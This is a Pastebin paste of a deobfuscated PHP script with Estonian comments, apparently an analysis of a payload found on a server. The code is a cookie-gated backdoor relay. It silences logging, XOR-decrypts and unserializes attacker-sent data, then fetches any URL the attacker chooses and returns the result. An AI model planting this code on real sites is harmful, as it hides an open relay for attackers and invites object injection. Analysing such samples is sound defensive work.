SHARE
TWEET

decodedPayLoad

Kriztjan Apr 8th, 2019 (edited) 81 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2.  
  3. /*
  4.  * Autor: Kristjan Aas
  5.  * decodedPayLoad
  6. */
  7.  
  8. @ini_set('display_errors',0);
  9. @ini_set('log_errors',0);
  10. @error_reporting(0);
  11. @set_time_limit(0);
  12. @ignore_user_abort(1);
  13. @ini_set('max_execution_time',0);
  14.  
  15. /*
  16.  * Loopime lĂ€bi kĂŒpsistest, kui leidub kĂŒpsis siis vĂ€ljume PHP skriptist
  17.  */
  18. foreach ($_COOKIE as $item)
  19. {
  20.     if ($item != "4cb3d317-eb3a-4b1d-8f83-6ec0ae114e90")
  21.         exit();
  22. }
  23.  
  24. /*
  25.  * Korjame muutuja sisendiks POST vĂ”i GET meetodil saadetud pĂ€ringu vÀÀrtuse
  26.  */
  27. $data = file_get_contents('php://input');
  28. /*
  29.  * Eraldame algse muutuja sisendi Strin'gi tĂŒkikaupa massiiviks, tĂŒkeldamise tingimuseks on "=" ja kogu massiivi sisuks on maksimaalselt 2 elementi, kus viimane massiivis olev vÀÀrtus
  30.  * sisaldab ĂŒlejÀÀnut String kujul
  31.  * Mis tĂ€hendab, et POST'lt vĂ”i GET'lt tulev vÀÀrtus peab olema nĂ€iteks kujul dasd3$@ÂŁ$=sd9@ÂŁasdsa=@ÂŁ$asasd(tegemist on arvmusega, pole ĂŒlevaadet reaalsest logist)
  32.  */
  33. $data = split("=", $data, 2);
  34.  
  35. /*
  36.  * Laseme POST'lt vĂ”i GET'lt tuleva töödel
  37.  * Mis tĂ€hendab, et POST'lt vĂ”i GET'lt tulev vÀÀrtus peab olema nĂ€iteks kujul dasd3$@ÂŁ$=sd9@ÂŁasdsa=@ÂŁ$asasd(tegemist on arvamusega, pole ĂŒlevaadet payload'ist reaalsest logist)
  38.  * JĂ€rgmiseks laseme vĂ€ljundi lĂ€bi base64_decode, mis eeldab, et urldecode'ist tulev vÀÀrtus on base64 kujul, tulemuseks on base64'jast dekodeeritud String
  39.  */
  40. $b64_decode_data = base64_decode(urldecode($data[1]));
  41.  
  42. /*
  43.  * Laseme $b64_decode_data muutuja lĂ€bi decrypt funktsiooni (String)
  44.  * decrypt funktsiooni vĂ€ljundiks peab olema Serialiseeritud kujul String, sest see lastakse lĂ€bi unserialize funktsioonist.
  45.  */
  46. $send_data = unserialize(decrypt($b64_decode_data));
  47.  
  48. /*
  49.  * KĂ€ivitame send_data1 funktsiooni, mille parameetriteks on $send_data de-serialiseeritud PHP vÀÀrtused
  50. */
  51. $result = send_data1 ($send_data);
  52.  
  53. if (!$result)
  54. {
  55.     /*
  56.      * Kui send_data1 funktsioonil puudub vĂ€ljund, kĂ€ivitatakse send_data2 funktsioon, kuid see on tĂŒhi funktsioon, mille vĂ€ljundiks pole midagi.
  57.      */
  58.     $result = send_data2($send_data);
  59. }
  60.  
  61. echo $result;
  62.  
  63. /*
  64.  * Tegemist on XOR dekrĂŒpteerijaga(pĂ”hineb bittide manipuleerimisel XOR)
  65.  * Kahjuks ei oska ma veel öelda, mis on Ă”igeks vĂ€ljundiks, tundub, et siin on mingi oma struktuur sisendil, sest algset vĂ€ljundit ma Ă”igel kujul kĂ€tte ei saanud, selleks oleks vaja POST
  66.  * vĂ”i GET'i sisendit.
  67.  */
  68. function decrypt($data)
  69. {
  70.     /*
  71.      * Defineerime muutuja $out_data, mis hoiab funktsiooni decrypt vĂ€ljundit.
  72.      */
  73.     $out_data = "";
  74.    
  75.     /*
  76.      * Defineerime muutuja $key, mille vÀÀrtuseks on domeeninimi, kust pĂ€ringut töödeldakse ja URL koos praeguse PHP faili asukohaga(path), kaasaarvatud asukoha info ja pĂ€ringu String.
  77.      */
  78.     $key = $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
  79.    
  80.     /*
  81.      * VĂ”tme pikkus
  82.      */
  83.     $key_len = strlen($key);
  84.  
  85.     for ($i=0; $i < strlen($key); $i++)
  86.     {
  87.         $key[$i] = chr(ord($key[$i]) ^ ($key_len % 255));
  88.     }
  89.  
  90.     for ($i=0; $i<strlen($data);)
  91.     {
  92.         for ($j=0; $j<strlen($key) && $i<strlen($data); $j++, $i++)
  93.         {
  94.             $out_data .= chr(ord($data[$i]) ^ ord($key[$j]));
  95.         }
  96.     }
  97.  
  98.     return $out_data;
  99. }
  100.  
  101. /*
  102.  * Juurde lisatud send_data1 funktsioon Ă”igel kujul
  103.  * Saadetakse POST/GET $data massiivis mÀÀratud URL'ile koos $data massiivis mÀÀratud sisuga, mille vÀÀrtused tulevad eelnevalt serialiseeritud String'ist de-serialiseerimisel.
  104.  */
  105. function send_data1($data)
  106. {
  107.     $head = "";
  108.  
  109.     foreach($data["headers"] as $key=>$value)
  110.     {
  111.         $head .= $key . ": " . $value . "\r\n";
  112.     }
  113.  
  114.     $params = array('http' => array(
  115.         'method' => $data["method"],
  116.         'header' => $head,
  117.         'content' => $data["body"],
  118.         'timeout' => $data["timeout"],
  119.  
  120.     ));
  121.  
  122.     $ctx = stream_context_create($params);
  123.  
  124.     $result = @file_get_contents($data["url"], FALSE, $ctx);
  125.  
  126.     if ($http_response_header)
  127.     {
  128.         if (strpos($http_response_header[0], "200") === FALSE)
  129.         {
  130.             $result = "HTTP_ERROR\t" . $http_response_header[0];
  131.         }
  132.     }
  133.     else
  134.     {
  135.         $result = "CONNECTION_ERROR";
  136.     }
  137.  
  138.     return $result;
  139. }
  140.  
  141. function send_data2($data)
  142. {
  143.     // use sockets
  144. }
  145.  
  146. ?>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top